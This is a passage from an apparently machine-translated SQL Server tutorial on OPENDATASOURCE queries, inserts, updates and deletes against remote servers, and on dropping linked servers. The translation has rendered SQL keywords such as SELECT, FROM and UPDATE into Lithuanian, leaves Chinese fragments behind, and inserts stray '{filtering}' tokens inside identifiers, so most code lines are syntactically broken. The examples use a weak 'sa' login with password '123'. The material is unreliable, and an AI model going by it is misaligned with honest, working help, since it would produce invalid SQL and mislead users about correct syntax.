Adresas; uid=vartotojo vardas; pwd=slaptažodis'). Duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas PASIRINKITE * IŠ OPENDATASOURCE('SQLNCLI', 'Data Source=SQL serverio pavadinimas arba IP adresas
Adresas; uid=vartotojo vardas; pwd=slaptažodis'). Duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas
/* 例如:SELECT * FROM OPENDATASOURCE
('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Arba: SELECT * FROM OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Arba: SELECT * FROM OPENDATASOURCE('SQLOLEDB','Data
Šaltinis=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
Arba: SELECT * FROM OPENDATASOURCE('SQLNCLI','Data
šaltinis=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb */ Importuoti visus stulpelius INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql serverio pavadinimas arba IP adresas; uid=vartotojo vardas; pwd=slaptažodis').
Pagal bibliotekos pavadinimą. Architektūros pavadinimas. Lentelės pavadinimas SELECT * FROM vietinė lentelė
/* Pavyzdžiui: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb ŽYMĖTI
* NUO TB */ --3.3.2.2 Importuoti nurodytus stulpelius INSERT OPENDATASOURCE('SQLOLEDB', 'server=sql serverio pavadinimas arba IP adresas; uid=vartotojo vardas; pwd=slaptažodis').
Pagal bibliotekos pavadinimą. Architektūros pavadinimas. Lentelės pavadinimas (stulpelis, stulpelis...) SELECT stulpelis, stulpelis... FROM vietinė lentelė
/* Pavyzdžiui: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
(DIAPAZONAS, LYGIS, asmenys) PASIRINKITE DIAPAZONĄ, LYGĮ, Asmenys NUO tb */ --Pastaba: Daugiau alternatyvių metodų rasite .3.1 užklausos pavyzdyje, tiesiog pakeiskite eilučių rinkinio funkcijos turinį (OPENDATASOURCE). --3.3.3 Atnaujinimo pavyzdys ATNAUJINKITE OPENDATASOURCE('SQLOLEDB', 'server=sql serverio pavadinimą arba IP adresą; uid=vartotojo vardas; pwd=slaptažodis'). Duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas SET laukas = 'reikšmė' Laukas WHERE = 'sąlyga'
/*例如:UPDATE OPENDATASOURCE
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb SET Asmenys='g' WHERE Asmenys = 'a' */ --Pastaba: Daugiau alternatyvių metodų rasite .3.1 užklausos pavyzdyje, tiesiog pakeiskite eilučių rinkinio funkcijos turinį (OPENDATASOURCE). --3.3.4 Ištrinti pavyzdį IŠTRINKITE OPENDATASOURCE('SQLOLEDB', 'server=sql serverio pavadinimą arba IP adresą; uid=vartotojo vardas; pwd=slaptažodis'). Duomenų bazės pavadinimas. Architektūros pavadinimas. Lentelės pavadinimas WHERE lauko pavadinimas='sąlyga'
/*例如:DELETE OPENDATASOURCE
('SQLOLEDB','serveris=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb WHERE Asmenys = 'g' */ - Pastaba: Daugiau alternatyvų
Žiūrėkite .3.1 užklausos pavyzdį, tiesiog pakeiskite turinį eilutės rinkinio funkcijoje (OPENDATASOURCE). -- Naikinti susieto serverio metodą --Jei ateityje nebenaudosite nuorodos informacijos, galite ištrinti nuorodos informaciją --4.1 Ištrinti prisijungimo informaciją (arba ištrinti susieto serverio prisijungimo vardų schemą) EXEC sp_droplinkedsrvlogin 'LinkName',NULL
/* Pavyzdžiui: EXEC sp_droplinkedsrvlogin "TonyLink", NULL */ --4.2 Naikinti susieto serverio vardą EXEC sp_dropserver 'LinkName','droplogins' -- jei nurodyti droplogins, Prisijungimo schema turi būti ištrinta prieš ištrinant susietą serverį
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */
--Pridedama
: Kaip gauti teikėjo pavadinimą (EXEC master.). xp_enum_oledb_providers) PASIRINKITE CAST([Teikėjo pavadinimas] KAIP
VARCHAR(30)) Teikėjo pavadinimas, CAST([Teikėjo descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion NUO
OPENROWSET( "SQLOLEDB", 'Serveris=.; Trusted_Connection=taip", "PALEISK FMTONLY; EXEC
meistras.. xp_enum_oledb_providers"
)
|